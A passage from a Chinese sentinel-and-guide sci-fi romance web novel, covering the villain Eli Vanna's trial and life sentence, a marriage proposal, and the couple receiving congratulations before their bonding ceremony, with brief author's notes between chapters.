环绕一周的旁听席上，挤满了来自各大势力的代表、媒体人以及经过严格筛选的公民代表。 从负责庭审此次案件的主审官开始入座起，安放在前排的摄像机、照相机便开始频频闪光。 法庭之外，更有全息投影在星网官方频道实时转播着庭审画面。最高法院外的广场上，聚集了成千上万的民众，所有人都屏息凝神地关注着这场关乎正义与权势的对决。 在众目眈眈地注视中，审判庭一侧的角门砰然开启，伊莱·凡纳在两名法警的押解下，正式入场。 此刻的凡纳家大少爷，终于褪去了身上那层明耀的光环。 他穿着一身朴素的灰色单衣，全身上下毫无装饰。看得出他在正式亮相之前曾经专门整理过自己的外表。被囚多日，胡须头发仍被用心打理过。可他脸上明显的憔悴与隐藏在镇定之下的犹疑，仍是暴露了他此刻的狼狈。 即使处于被告席上，他依旧高昂着头，试图维持住自己的体面，可期待的眼神，在目光扫过旁听席最前端，却没有找到自己想要看到的身影时，终于染上一丝慌乱。 那双总是盛满了自信与矜贵的眼睛，在这一刻，蒙上了一层灰暗的阴霾。 江寻与陆厌离，此刻正与许多人一起坐在公诉人身后的特邀证人席上。此刻的两人，均身着代表着圣所、愈灵殿与联盟军部的正式制服，面容严肃地看着那个主导了一切的罪魁祸首慢慢入场。 身边端坐着的其他证人们，有的一见到他的出现便面色立变，痛苦麻木的脸上狰狞着刻骨的仇恨。有的一脸愤恨，欲起身又被身边的亲友们急忙拉住。还有的，仍是一脸平静无波，可眼眸深处却翻涌着复仇的火光。 旁侧的旁观席上，此刻也是一阵骚动，议论声、闪光灯的声音乍起，更有一阵阵喧闹人声隐隐从庭外传来。 主审官立时警告肃静，在法警的协助下，压下了激愤的人群，这才让伊莱站上了被告席。 随即，书记员开始核对所有相关人员是否到庭并宣布法庭纪律。在向审判长报告结果后，主审官面容肃穆地敲下法槌，庭审正式开始。 在审判长依律告知了伊莱与其辩护人在庭审中享有的一切诉讼权利之后，检查方公诉代表首先起身，面向全庭陈词： “尊敬的法官大人，各位陪审团成员。”面容严肃的公诉人微微停顿，向着最高审判长颔首致意，然后，开始宣读正式起诉书。 也许是知道所有人心中急切的心情，这个过程进行得很快，当流程走完，整场庭审迅速进入举证、质证环节。 一项又一项花费了巨大人力物力辛苦搜集出来的确凿证据，通过法庭展示光屏开始向着所有人展示着。 这些证据有些是新近得到的，上面的公章印痕都还没完全干透；还有的，已经边缘泛黄，字迹都开始模糊。甚至，有的证据上，还染着斑斑血痕，展示出了它的来之不易。 在所有关注着这次案件的目光中，公诉人一边宣读着指控事实，一边将对应的证据向着所有人展示着： 江寻被绑架时的监控记录；被秘密送往D-30星球时的航行记录；已经断成几段，但仍能看出原本模样的“枷锁”拘禁项圈；愈灵殿给出的江寻被侵害之后的精神图谱。 除此之外，还有民众们最关心的，从那个被查获的秘密实验室中得到的大量实验记录与病毒样本；数个星域十数年来异常的疫情发生率；凡纳家族来源去向皆不明不白的资金流动；以及其与“转轮天平”枢纽站及多起各地发生的公共安全事件有关，或直接或间接的关联证据。 在许多项证据展示出来时，还伴有相关的人证证词。 这些证人，有的是经受不住审讯压力，江寻被囚禁时，D-30星球上的服务工作人员；有的是见势不妙果断转为污点证人的实验室研究员；还有在各大事件中，向凡纳家或伊莱个人大开方便之门的中层官员；还有的，是往年调查这些公共安全事件时，发现疑点却被层层打压下来的调查人员。 每一个确凿证据的出现，都会引起法庭中一阵哗然，直至累累的人证物证全部展示完，时间甚至都过去了半个多小时。全体民众的怒火几乎点燃了严肃的穹顶，经过法警与主审官的多次警告，现场秩序才重新安静下来，让庭审得以继续进行。 伊莱仍维持着一副平静无波的表情，只有眸底随着各种证据的出现，不断浮现出种种难以察觉的情绪。 他看向凡纳家代表落座的方向，再次仔细扫视一圈，依然没有看到那个代表凡纳家族最高权威的人影，只有霍恩在他看过去时不着痕迹地对他点了点头。 而当他看到坐于最中央，与以往大不相同，一身低调正装的凯尔·凡纳时，心中顿时一沉，有了些不好的预感。 他闭了闭眼，强令自己冷静下来。 虽然没有看到父亲的身影，但他相信，凡纳家一定会尽最大的努力保住他。 他是凡纳家族中唯一的S级哨兵，唯一一位被正式承认的家主嫡系子女，更是花费了数十年时间，用最精英的继承人教育培养出来的第一继承人。 凡纳家在他身上投入的人力物力，不计其数。这么多年来，他已经成为了凡纳家不可分割的中流砥柱。 更何况，如果他被真的定罪，对于整个凡纳家来说都是一项重大丑闻，对家族名下的所有公司、资产都会产生影响。 他相信向来对一切都计算清楚的父亲，必定能做出正确的选择。 第256章 伊莱心中转着各种念头， 一言不发。 现在展示出来的这些证据，他无法反驳，可这向来也不是他需要去做的工作。 自然有家族派来的律师团出马， 带着转折性的证据证词，为他证明清白，就像这么多年以来所经历的一样。 只不过，伊莱看向耀武扬威地坐在众人中间的凯尔， 目露阴狠， 这一次， 恐怕他需要让渡出一部分权力给这个野种，才能换回父亲与族老的谅解了。 但是没关系， 只要他这一次能平安过关，这些东西，最后还是会全部回到自己的手上。 伊莱不去管身后的旁观席上已经沸腾起来的人群， 看了一眼坐在证人席上的江寻， 面上露出一抹不甘心，咬着牙微低下头。 “被告人与辩护方，是否认可以上公诉人提出的指控？”审判长敲击法槌， 令现场再次安静下来， 转头看向被告席。 伊莱此时也微微偏过头去， 看向旁边的辩护席。 当他看到空空如也的席位时， 眉头一皱， 律师团迟到了？ 他的脑中刚转过这个念头， 却有一人站起身来， 手中拿着一份文件，几步走上了辩护席，还侧过头来， 看了他一眼。 伊莱倏然睁大眼睛，面上出现不可思议的表情。 而他的这副表情，似乎取悦到了来人，令他突地绽开一个充满恶意的笑容——这人正是一直坐在第一排，专门穿着一身黑色正装前来的凯尔·凡纳！ 当来人回头看向审判长时，面上立刻挂上一副沉痛的表情。他环视了审判席与旁听席一圈，声音中带着鲜明的悲愤与愧疚： “尊敬的审判长与各位陪审员。对于伊莱·凡纳所犯下的这些骇人听闻的恶劣罪行，我代表凡纳家族，向所有因他受到伤害的民众们道歉。”凯尔说着，面色变得严肃起来，正色对着所有人深深一躬。 “请相信我们，当我们知道他依仗着凡纳家族的便利，做下这一桩桩错事时，我们也深感震惊与愧疚。我的父亲作为凡纳家族家主，许多年以来，一直为了联盟的繁荣与稳定兢兢业业，对身为继承人的伊莱·凡纳疏于教导，这才让他犯下大错。”凯尔沉痛地说着，丝毫不管一旁的伊莱倏然变色。 “虽然此番罪行，都是他个人所为，严重违背了联盟法律，与凡纳家族世代为联盟的兴旺昌盛而努力的祖训。但是我的父亲认为，自己对他的疏于管教，也是造成这一后果的重要原因。”凯尔看向旁观席上一个个端着摄影机齐齐对着他的媒体工作者们，确保自己此刻的姿态端肃又诚恳。 “他的行为严重损害到了凡纳家族的声誉与联盟的安全稳定，我们对此感到无比的痛心与愤怒。于是，父亲已于昨天召开了紧急家族理事会，对于此次事件做出如下决定——”凯尔看向伊莱勃然变色的面孔，紧紧压住想要向上翘起的嘴角，面上呈现出一副有些古怪的沉痛神色。 “凡纳家族将对所有在伊莱·凡纳的案件中遭受伤害与损失的受害者，做出相应赔偿。赔偿程序，将于本次庭审结束后，立即启动。同时，作为惩罚，将伊莱·凡纳彻底从族谱中永久除名。从此，他的所作所为，均由其个人承担，凡纳家族不再予以任何支持。” 最后的丧钟敲响，被告席上一直安静等待着的伊莱，在听到凯尔这番话后，猛然站起身来，脸上瞬间血色尽褪。 “不可能！我是家族第一继承人，是家族唯一的S级哨兵，家族不可能放弃我！父亲——！” 他猛地拍在身侧辩护席的桌面上，手上的镣铐敲打在实木台面上，哗啦作响，却如空心的钉锤，只闻声响，再无过去的半分威势。 站在两旁的法警立时动手，半拟化的两双手臂，轻轻松松便将伊莱“砰”一声反扣在了台面上，制止住了他的突然暴起。 伊莱被死死按在冰冷的桌面上，前所未有的羞辱感袭上心头，他的眼睛向上翻着，死死盯住那个从未被他放在眼里，此刻却决定了他命运的“弟弟”，心中愤怒的火焰如火山喷发般燃起。 可是，随即，他像是意识到了什么，目光疯狂地从凡纳家所有出席的人员身上扫过。 没有……他这才发现，不止是他那位作为现任凡纳家族族长的父亲，没有出席。在座的所有人里，居然没有一个是他的心腹或下属，也没有一个人为他辩护发声。 发言的，只有面前这个迫不及待想要踩着他上位的低劣私生子…… 此刻，所有人的目光都平静地看着他狰狞的面容。 他猛地明白了什么，急切地看向那个代表他父亲而来的霍恩管家。却只得到对方一个歉意的叹息。 一瞬间，伊莱什么都明白了。 此时，他才开始好好回想自己如今的处境。 他的精神体被封印了，在江寻出手为他解封之前，完全失去了S级哨兵的价值。但是凭借他对对方做出的事情，任何人都知道，他几乎不可能得到对方的原谅。 他长久以来，或是为了自己，或是为了家族，私下做过的那些见不得光的事情，都在此时被揭开了伪装，统统扣在了他一人的头上。 可他却没有绑定那个被他视为掌中之物的“寻道者”向导。令家族蒙受巨大损失与压力的同时，自己并未获得任何足够份量的筹码。 而且，他更是同时得罪了两个如今在联盟中炙手可热的顶级哨向伴侣……他看一眼证人席上的陆厌离，不……也许现在已经是联盟第一位SS级哨兵了吧。 所以，为了及时止损，用来平息众怒，他被家族毫不犹豫地当成了弃子？ 他短促地笑了一声。 脸上最后一丝血色也完全褪去，所有的挣扎都停了下来，仿佛一直支撑着他站在这里的力量，瞬间被抽空。 从出生起就站在万万人之上，尊贵强大的凡纳家第一继承人，荣耀的S级哨兵伊莱·凡纳，此刻如一条苍白的死鱼，所有的骄傲、自信与贵族气度被统统打碎。 他就那样瘫在那里，被两个实力平平的哨兵法警，轻松地按在被告席上，连一丝反抗的力气都没有。 这一刻，他的眼神彻底空洞下来，长久以来浸润在眸子里的锐利与野心，彻底被掏空，只余一片失魂落魄的死寂。 他曾几乎站在所有权势的顶端，利用自己的实力与权势，肆意摆弄他眼中“下等人”的命运。而当他失去自身的价值时，也立即变成了他人眼中的“下等人”，被他所追逐着的权势，毫不犹豫地抛弃。 公诉方累累证据确凿无误，证人席上、旁听席上，尽是愤恨控诉之声，唯一的希望彻底抛弃了他，伊莱甚至连一个像样的辩护人都没有。 所有被申告的罪名，在全民的注视下，被迅速落实。 审判长庄严的法槌敲响： “……经联盟最高法院合议庭审议，被告人伊莱·凡纳，犯绑架罪、非法囚禁罪、意图强制绑定罪、非法集资注资并研究高危生化武器、滥用私军、贿赂、非法干涉他国内政、以及三十二项危害公共安全罪。事实清楚，证据确凿……数罪并罚，判处被告人伊莱·凡纳，终身监禁，即刻押送至联盟“黑石”星际监狱，永不得假释！” 审判长庄严的声音落定，代表着最终审判的法槌敲落下来，宣布了本次公开庭审的结束。 法庭里，顿时爆发出震耳欲聋的欢呼声，其中，还夹杂着不少释怀的哭泣。 一门之隔的广场上，在这一刻，被一片山呼海啸般的欢呼声所淹没。认识不认识的民众们，彼此相拥，脸上全都洋溢着激动与欣慰的表情。 更远处，通过各种方式，同步观看着这场直播的民众们，也不约而同地弹冠相庆，在媒体上、聚会之间激动地发表着感言，庆祝着这一场以正义打败特权与资本的艰难胜利。 证人席上，江寻与陆厌离双手紧紧相握。 江寻闭上眼，长长地舒了一口气，仿佛终于卸下了始终徘徊在心头的忧虑与重担。 歪了歪头，靠上陆厌离的肩膀，在他耳边轻轻开口：“结束了。” 陆厌离心疼地拢住少有露出脆弱表情的自家爱人，抬起他的手，安抚地吻在他的手背上。 两人最后看了一眼不远处，带给他们重重艰难痛苦的罪魁祸首，转过身去，将他与他那无尽的野心欲望彻底抛在身后。 相携着，从阳光温暖照耀下来的正门中迈步而出。 身后，那位曾经拥有一切，力压整个联盟年轻一代，差一步就真正站上顶峰的男人，被两名平平无奇的法警一左一右架起，拖着走向他通往深渊的未来。 他最后回头望了一眼这喧嚣的、却已经注定与他无关的世界，眼中只剩下无尽的荒凉与绝望—— 作者有话说：完结倒计时ing！之后还会有好几篇番外。现在预定的有if线和正常的后续线，还有一些婚后小甜饼。 宝宝们如果有想看的内容，可以在评论里留言，有意思的建议，我会考虑着写成番外的[让我康康] 第257章 一切尘埃落定， 也许那些浸淫在权力场中的玩家们，争夺伊莱退场后空出资源份额的战斗才刚刚打响，可大部分寻常民众， 与江寻陆厌离这样，生活单纯的人们，已经开始重新回到各自平静的生活中。 周末的清晨，天气已经开始回暖， 晨光照在卧室的大床上， 晒得被子暖融融的。 江寻照例又是首先醒来的那个， 慢慢将陆厌离的脑袋从自己臂弯里挪出来，悄然起身， 轻声洗漱后，见陆厌离还没有起床的意思，笑着摇了摇头， 下楼走入厨房。 待陆厌离睁开眼睛时， 隐约的食物香气已经透过门缝，飘入了他的鼻腔。 还没睁开眼睛，嘴角已然勾了起来。 快速洗漱完毕， 便循着那诱人的香味走下楼梯。 餐桌上， 此刻已经摆得满满当当。 温热的乳汁， 切得刚适合一口一个的面瓜果， 新鲜的蔬菜沙拉， 热气腾腾的小点心， 从荧珠星上带回来的热带水果， 甚至还有一小碟他最喜欢的零食——发光鱼冻。 正当他为了今天丰盛的早餐惊讶时，江寻又端着一碗刚刚出锅的浓汤从厨房中走了出来。 陆厌离的鼻尖动了动，敏锐地捕捉到了新鲜的贝类味道——是海鲜汤。 “醒了？快来吃早餐。”江寻直接将手上的浓汤放在陆厌离面前， 拖开椅子招呼他坐下，嘴角始终带着柔和的笑意。 这抹笑意带得陆厌离也弯起了嘴角，看着面前这琳琅满目的一桌，心情也像是回荡在它们上方的热空气一样，轻飘飘的。 顺着江寻的姿态坐下，一边拿起勺子，一边忍不住好奇问道：“今天怎么这么丰盛？是有什么要庆祝的吗？” 今天这盛况，可不像平日里的规格。 江寻没有正面回答，而是笑眯眯地在他身边坐下，也没见他有立刻吃饭的意思，单手撑起侧脸，对着他催促起来：“先尝尝看，好不好吃？” 陆厌离不知道爱人又在玩什么，但是也乐得满足他的小乐趣。依言，也不追根问底，拿起餐具，每一样都吃了一些。 等吃得差不多了，把那碟子鱼冻拉到自己面前，一边小勺小勺挖着当零嘴吃，一边蕴着笑意看向江寻，以眼神询问他下一步。 江寻这才眼神温柔地看着他，语气难得的带上了一些狡黠，笑道：“因为今天有事想要求你，怕你不答应，这才做了好吃的贿赂你呀。” 陆厌离闻言失笑，碧绿的眼眸中波光粼粼：“你想要做什么我自然会支持你，哪里用得上‘求’，直接告诉我就好了，我当然会答应的。” 想了想，看着面前这阵仗，心中还是微微升起了一些忐忑，放下勺子，认真看向江寻：“很难办吗？究竟是什么事？” 江寻的目光停留在陆厌离身上，脸上的笑意加深。 他没有立刻回答，探头过去在陆厌离双唇上轻轻啄吻了下，再分开时，两人之间的距离已经极近。 他伸出一只手，在陆厌离面前缓缓摊开。 掌心中，一枚样式简洁大方的银色指环静静躺着。 指环无托无嵌，没有任何多余的装饰，只镌刻着一道被精心描绘出的，与陆厌离后腰上那道补全后的印痕几乎一模一样的羽翼图纹。 手掌角度微倾，阳光便沿着指环边缘镀上一层莹润光芒。 江寻的眼睛弯成缱绻的弧度，目光专注地凝望着陆厌离，语气温和，却格外郑重： “我想要请求陆厌离少将，应允我的求婚。与我结成一对儿终身伴侣，伴我度过余生所有的时光。” 陆厌离轻松的表情骤然一滞，眼睛猛地睁大，身子不由自主坐直起来，目光看向放在江寻手心那枚小小的指环，又看向江寻含笑的眼眸。 一时间，脑子里都空了。 他维持着这个姿势愣愣地看着指环好半天，江寻也一如既往地等待着自己的爱人。 终于，巨大的惊喜慢了半拍，从心底涌了起来，瞬间席卷四肢百骸。他浑身的毛孔似乎都被这道如有实质一般的激动心情贯通。心脏狂跳，眼眶不受控制地渐渐发热。 “你愿意吗？”江寻的笑意加深，再次将那枚带着羽翼刻印的戒指托近一些，轻声问道。 陆厌离的呼吸急促，紧紧抿着嘴唇，似乎一开口便会有克制不住地哽咽冲出口中。 “嗯！”他用力地点了点头，斩钉截铁。抬头回望江寻的双眸，一瞬绽出个彻底驱散了所有阴霾的灿烂笑容，“我愿意！” 江寻托起他的左手，郑重地将那枚代表着誓约的戒指，套上了陆厌离的无名指。 戒指的大小与手指完美契合，便像是天生就该呆在这里。 江寻没有收回手，顺势与陆厌离十指交叉，微抬起他的左手，在手背上落下珍惜一吻。 陆厌离再也抑制不住，猛地倾过身子，扑进江寻怀里，带着激动与依恋，深深吻上江寻双唇。 江寻一笑，微启牙关，放激动的爱人进来。 双手环抱，轻轻拍了拍怀中人激动到颤抖的脊背。 在亲吻的间隙中，吐出含糊的几个字：“答应了……我可，不容你再反悔……” 他的手臂猛地用力，将陆厌离整个人抱过来，坐上他的双腿，眼含笑意看向面前的人：“……是我的了。” 陆厌离的眼睛微微湿润，重重点头，随后，急不可耐地再次吻上江寻，辗转纠缠，寤寐求索。 春日的灿烂阳光照耀下来，拢住相拥的倾心恋人。 伴着最最寻常，却也最最动人的香气，走过漫长旅程的爱人终于在此刻，彻底拼合成圆满的模样。 * 获得了爱人的首肯，举行正式绑定结合仪式的事，立刻被江寻提上了日程。 当两人将消息透露给威尔逊军团长与愈灵殿的尼克斯组长等人时，马上便获得了几人的衷心祝福。 之后，这信息又通过几人层层上传，达至天听。 很快，便有军部元帅与索珠殿主的支持信息传达下来。 刚刚经历了伊莱的事件，民众们正因为这起恶劣的案件人心浮动，正需要一件足够正面、影响力巨大的事件用来转移所有人的注意力，稳定民心。 一听说两人打算举行正式结合仪式，两位最高领袖立刻传来讯息，联系江寻陆厌离两人，与他们达成了共识。 很快，联盟官方、军部及愈灵殿联合发布了一份公告，宣布联盟最年轻的S级“寻道者”与紫荆徽章获得者，联盟双星陆厌离少将，将于星历标准时间三天后，在中央星第一广场举行正式的绑定结合仪式。 这则公告的出现，如同春风般，吹过此刻被沉闷的负面情绪填满的联盟，瞬间引爆了所有人的情绪。 几乎在公告发布后的几分钟内，便有知机的媒体人抓住机会，将【双S级终成眷属】、【联盟最强伴侣】、【联盟双星情定寻道者】等词条，送上了热搜，这一消息，刹时以爆炸性的热度霸占了所有社交平台。 也许是过去一段时间所有人的情绪都太过沉重，也许是因为真心崇敬。在这个消息迅速传播开来之后，整个联盟迅速陷入了一场自发的全民狂欢情绪中。 无数与两人曾经有过交集，甚至只是听说过关于他们的故事的民众，开始激动地剪辑视频亦或拿出珍藏的影像记录，在星网上分享着关于他们的各种片段： 有人在向导评级大厅中，见过江寻的初次声名鹊起；有人在超市中，见到过两人一起甜蜜购物；有人在圣所中看着他们如寻常学员一般亲密交往；也有人，在大战过后，看到两人深情拥吻。 这些关于两人的恋爱瞬间，初时稀少而零碎。可此刻全部被发送到星网之后，立刻便被串联在一起，成为一条完整的故事线。 众人一个个看过这些影像资料，便如陪着两人走过风风雨雨，直至三天后的结合仪式。 那条整理了两人故事线的帖子，点击量飞速破亿。 整个星网上，都弥漫着一种见证两人从相恋到结合的全部历史的兴奋与喜悦。 各大媒体自然也不会错过这个被官方支持的流量盛宴，纷纷从各个角度推出各种专题报道。 有名的《联盟哨兵周刊》用了整整三个版面，来深度剖析陆厌离自入伍以来，一直到如今的赫赫战功；《圣所记事》则细致地梳理了江寻从踏上中央星一直到迈上“寻道者”之路，以一介草身成为联盟新的希望的坎坷成长路线；更有权威的时事评论节目，邀请各路专家，从专业的角度探讨着这两位联盟顶级强者的结合，在未来将会对联盟的势力格局、尖端战力发展或者其他方面，产生何种深远的战略影响。 同时，官方开放的仪式现场全息直播预约通道，在开启后不到六小时的时间里，预约人数便突破了联盟近十年来所有直播活动的记录，并且，这个数字还在随着时间的临近，以惊人的速度持续攀升着。 所有人都在期待着，三日后那场注定会载入史册的联盟盛典—— 作者有话说：婚礼前奏开始！[让我康康] 第258章 陆厌离驾驶着悬浮车， 一路向着军部行政大楼而去时，眼睛总是不自觉地落在自己的手指上。 原本带在中指上的那枚星辰石戒指，被他摘了下来好好收藏起来， 换成了无名指上这枚看起来更加朴素的银环。 小小一圈微凉的触感，却让他的心底一直充斥着无比踏实的暖意。直到抵达军部大楼时，嘴角的弧度依然难以完全压下。 在副官与书记官的祝贺声中，把缺席的这段日子里积累下来的事务一一处理完。又将跟随着蔚部长进行的一系列调查行动整理成正式的任务报告。 陆厌离刚拿着这些报告文件， 踏进威尔逊军团长的办公室。对着埋首案牍之间的上司打了个招呼， 抬头看到来人是他的威尔逊将军， 就哈哈大笑起来。 直至陆厌离顶着有些不好意思的表情走近，这位向来关照着他的上司， 才起身拍了拍他的肩膀：“好小子，不愧是我的兵，干得漂亮！不仅自己荣升了SS级， 还把那位S级‘寻道者’给套牢了！以后我看那些混蛋们还敢不敢抢我们第八军团的军资， 哈哈哈！” 豪爽洪亮的笑声里，满是毫不掩饰的赞赏与促狭：“等结合典礼结束，我给你放一个月婚假， 让你们两口子好好亲热亲热， 哈哈哈！” 陆厌离有些羞窘地抿了抿唇， 眼中却满是期待笑意， 认认真真对军团长道了谢， 才噙着笑退了出来。 接下来一整天里， 陆厌离几乎被来自身边众人的恭贺声包围。 迎面遇到的同僚或下属， 只要是认识他的，都少不得在路过时停下脚步，笑着道一声“恭喜少将！”；更有关系亲密一些的战友， 直接握拳砸上他的肩膀，又是羡慕又是祝福地冲着他挤眉弄眼地谈笑。 而今天一天，他的哨兵核心里，更是收到了无数曾经并肩作战过，亦或被他救助过的朋友旧部，发送过来的祝福视频、祝福短讯。 陆厌离回到自己的办公室里，滑动着信息接收页面，心中动容。 他除了在面对江寻时能稍稍放开自己的本性，对外人一直习惯性保持着距离。他一直以为自己并没有多少朋友，可如今，面对着这一排又一排几乎滑不到底的讯息，心中不由升起暖意。 这其中，甚至有很多人的名字他都已经十分陌生，可对方还是在他要举行结合仪式的消息传出的第一时间，给自己发来了祝福讯息。 他选了一个看起来有些眼熟的名字点开，这似乎是某次联合作战时遇到的队友。 光屏在眼前亮起，画面里顿时出现一群穿着不同军团作战服的汉子。 看视频背景，破败寂寥，枯风阵阵，他们似乎正在任务当中，蜷缩在一处避风的半坍塌楼层之间休息。但此刻，所有人脸上都洋溢着微笑。 他们先是对着镜头一个个介绍着自己，陆厌离的记忆也随着众人的介绍渐渐复苏。 众人起初还有些拘谨，很快，就在后面某人的插科打诨之下放松了下来。手搭着手肩并着肩，一起咧开嘴，诉说着自己对于陆厌离的祝福。最后，所有人聚在一起，用近乎吼叫的声音齐声喊道：“陆将军，一定要幸福啊！” 喊完，一群人又互相推搡着哈哈大笑起来，其中还有一个跳脱的，说着话还手舞足蹈地做着搞怪的动作，不小心兴奋过头一头撞上头顶的建筑板，痛呼出声，引来其他人一阵大笑。 陆厌离彻底从记忆中翻出了这些人的面孔，忆起往昔交付后背的战斗，眼眸柔和下来。 随即，一条又一条，认认真真地将所有收到的讯息一一看过，又给每一个传送来讯息的号码，道上一声真诚的感谢。 另一边，江寻也时隔许久回到了圣所里。 他这边的情况却比陆厌离在军部那边还要热闹。 圣所中人数众多，还大部分都是年轻的少年们，这里几乎全是拥有天赋的哨兵向导。 他们这些人，天生就比普通人对向哨结合更加憧憬，更不要说，这一次爆出要结合的其中一人，还是正在他们圣所中就读的S级向导。 每每提到这位向导，都会让他们觉得与有荣焉。每次关于他的消息传来，都会顷刻间变成圣所中最受瞩目的事件。 这一次，江寻即将与陆厌离举办结合仪式的事，更是在联盟公布的第一时间，就引爆了整个圣所论坛。 甚至星网上热度最高的几个相关的帖子中，就有好几个出自圣所学员之手。 今天，从早上江寻刚刚靠近圣所的时候开始，便成为了人群的焦点。 他走到哪里，就会在哪里引起一阵喧哗。 好在，也许是如今他的等级地位过高，反而带来了敬畏。这些学员们大部分都不敢随意上前打扰，只在社交距离之外礼貌对着他颔首祝福。 江寻的心情也很好，遇到这种情况，也不像往日里那般视若无睹。每每都要停下脚步，礼貌回礼。这短短一段路走来，竟花费了许多时间。 可当他踏入星环大厅之后，这种互不打扰的默契就被朝夕相处的同窗们完全打破了。 看着他一路从B级升到S级，在校时的态度却从未改变过的同班同学们，几乎没人能对他产生敬畏感。 此时一看到最近联盟的焦点人物进了教室门，纷纷抬起头来看向他。随即，便有热情的凑上前来，表达对他前段时间被绑架的担忧，与即将举行结合仪式的祝福。 像他们这个年纪的向导，又在这样的环境中成长，大多早早通晓人事，甚至其中许多人，都保持着与复数个哨兵的固定疏导关系。但能在这么早的时候就确定绑定目标的，却只有江寻一人。 更何况，江寻所找的那位绑定哨兵，在联盟中的声名地位又是如此卓著。这些祝福声中，便不免掺杂了许多的羡慕甚至嫉妒。 但江寻没有专门去分辨这些。 只要是来到他面前送祝福的人，都认认真真地感谢。他这样的态度，反而令许多心思有些跑偏的学员在心底默默转变了态度。 这样热热闹闹的场景，一直持续到作为讲课教师的艾略特教授走进大门。 可令江寻没想到的是，一向严肃的艾略特教授在路过他身边时，同样停下了脚步，推了推架在鼻子上的眼镜，对他露出一个和蔼的笑容，微微颔首：“祝贺你，江寻学员。恭喜你找到了携手一生的伴侣。希望你们能相互扶持，将这份难得的缘分延续到生命的尽头。” 江寻恭敬站起身来，笑着接受了来自师长的祝福：“谢谢艾略特教授，我们会的！” 等到傍晚前往愈灵殿进行例行的公共服务时，明明这里的人数更少，可江寻却觉得比自己在圣所中时，更加热闹。 他才刚刚走进大厅，几个面熟的研究员就当先凑了过来，七嘴八舌地道着恭喜。 尼克斯组长更是直接从实验室中冲了出来，连手上还沾着鲜血的手术刀都没顾得上丢下，就挤开凑到江寻面前的人，把他向自己的研究室拉去。 一进了房间就兴奋地掏出记录板，为即将能够研究全新的刻印技能兴奋不已。 就这，还不忘一边恭喜一边带给他新的好消息：“恭喜了江寻！再告诉你个好消息。殿主听到军部那边传来的要给陆少将放婚假的消息，也给你特批了一个月假期，让你准备仪式、好好成婚。” 看到江寻骤然亮起来的眼眸，尼克斯又追着补充道：“不过说好了哦，等你们过完了婚假，可要带着你家那位SS级哨兵，一起过来配合我的研究！不管是SS级哨兵的数据，还是刻印技能的研究，我都等了好久了！” 江寻好笑地点头承诺：“放心，我一定来。不过陆厌离那边，到时候要问问他的时间。有空的话我一定让他也过来。” 听到江寻这么说，尼克斯这才心满意足地放他离开。 一天时间里，江寻也和陆厌离一样，被众人的热情包围着。在这样的好日子里，他也完全没了往日里的淡漠距离感，一整天都保持着温和的笑容，不管是对陌生人还是熟悉的亲友送上的祝福，都认真地一一道谢。 直到晚上两个人先后回到了位于湖畔区的家里，一天的喧嚣才算是安静下来。 相携着吃过晚饭，还没来得及聊起关于结合仪式具体的准备事宜，各自的核心却又先后响了起来。 江寻与陆厌离两人看着彼此手腕上频频震动的终端，相视而笑—— 作者有话说：开始整理这一本的经验啦。下一本一定要让自己更满意！[让我康康] 第259章 会在这会儿的私人时间里发来讯息的人， 与江寻、陆厌离的关系又近了一层。 江寻这边接到的，是来到中央星后结识的那几位朋友的讯息——久未联系的黑街老大黑蝎曲绍；住在江寻的小诊所附近的屠峰、沃特几个兄弟；开始想要追求他，后来又变成友好合作关系的斯通上校；以及仍在圣所基础班中上学的梅丽等人。 即使许久没有见过面， 曲绍的态度依然一如既往的豪爽。而屠峰几人与江寻说话时，就与以前稍有了些变化。斯通与江寻的关系，在经过江寻对第三军团的每月疏导后，变得熟悉了许多， 说话时倒是越来越轻松随意了。 这几位发来的讯息都干脆明了， 皆是表达了对江寻的祝福。其中曲绍还邀请江寻与陆厌离， 有空的时候可以去找他喝酒。 对于他们的讯息，江寻都一一好好回复过去， 并将结合仪式的电子请柬，一起寄送给了他们。 而梅丽则是直接打来了视频通话，一脸红扑扑兴奋地叽叽喳喳拉着江寻说了半天， 直到最后才红着脸期期艾艾地顿住了口， 像是想要说什么又不好意思。 江寻心中顿时明了，笑着将镜头转向旁边同样刚刚回复完几条讯息的陆厌离。 “厌离，记得我之前和你说过的来自初级学院的梅丽吗？她想和你说说话。”江寻对陆厌离说道。 陆厌离稍稍回想一下， 就想起了江寻曾说过的那个可爱的小姑娘， 走到江寻身边坐下， 看向终端镜头。待看清对面那个难掩激动的大眼睛女孩时， 笑着对她微微颔首打了个招呼：“你好， 梅丽， 我是陆厌离。” 屏幕那端的梅丽根本没想到， 江寻会让自己这样与从小到大的偶像突然相见，瞬间瞪大了眼睛，在看到陆厌离对着她笑的那一瞬间， 脸就“唰”地一下红透了。惊叫一声，手忙脚乱地坐正了姿势，手指下意识地绞缠上自己的头发，刚才和江寻对话时还流畅的口条，立刻磕巴起来：“陆、陆少将！您好！” 五个字磕磕绊绊地说完，便猛地躬身鞠了个九十度的躬，再抬起身来时，语速突然变得飞快：“我，我是想说，非常感谢您曾为我们做的一切，从今往后，请您也对自己好一点吧！一定……一定要永远幸福啊！”说到最后，声音已经带上了哭腔。 梅丽说话的时候，根本都没敢抬眼去看屏幕对面的陆厌离，一口气说完这段话，便飞速切断了通讯。 江寻与陆厌离两人，在她的通讯切断之后，愣了好几秒才反应过来，相视“噗嗤”一笑。 恰在此时，江寻的核心上又传来一声讯息通知音，梅丽再次发来一条文字信息： 【啊啊啊！江寻哥谢谢你！但是我刚才的表现是不是太蠢了？！江寻哥，一定要帮我告诉陆少将，我平时不是这样的！】 江寻看着这条信息，终于忍不住大笑出声。陆厌离一眼扫过他的光屏，也被这个可爱的女孩子逗得眼中掠过笑意。 就在两人沉浸在这样轻松的幸福之中时，陆厌离的终端又传来了通讯请求。这一次显示出来的名字，却令他有些意外——是他的二哥，陆承。 江寻看着陆厌离盯着那一直在响着的终端沉默了半天，眼睛下意识瞟过光屏上显示出来的联系人。一眼看到陆承的名字，也是一楞。 他从一些资料里看到过陆厌离这位二哥的介绍，之前也从陆厌离那里得知了一些两人之间的纠葛，明白陆厌离始终横亘在心中的阴影。 此刻看到陆厌离犹豫的样子，轻轻握住他的手掌。 手心的温热让陆厌离回过神来，从江寻那里接收到一个鼓励的眼神。他终于抿了抿唇，抬手接通了通讯。 随即，陆承的全息影像被投射在了终端上方。 他这时候似乎不在陆家老宅里。身处的房间不算非常大，周围铺设的装修、家具也与他寻常所用的风格不同。背后的环境很是明亮，灯光是暖洋洋的淡黄色，带着一种陈朽老宅所没有的轻松鲜活气。 此时的陆承本人，也与陆厌离平日里见过的模样完全不同。 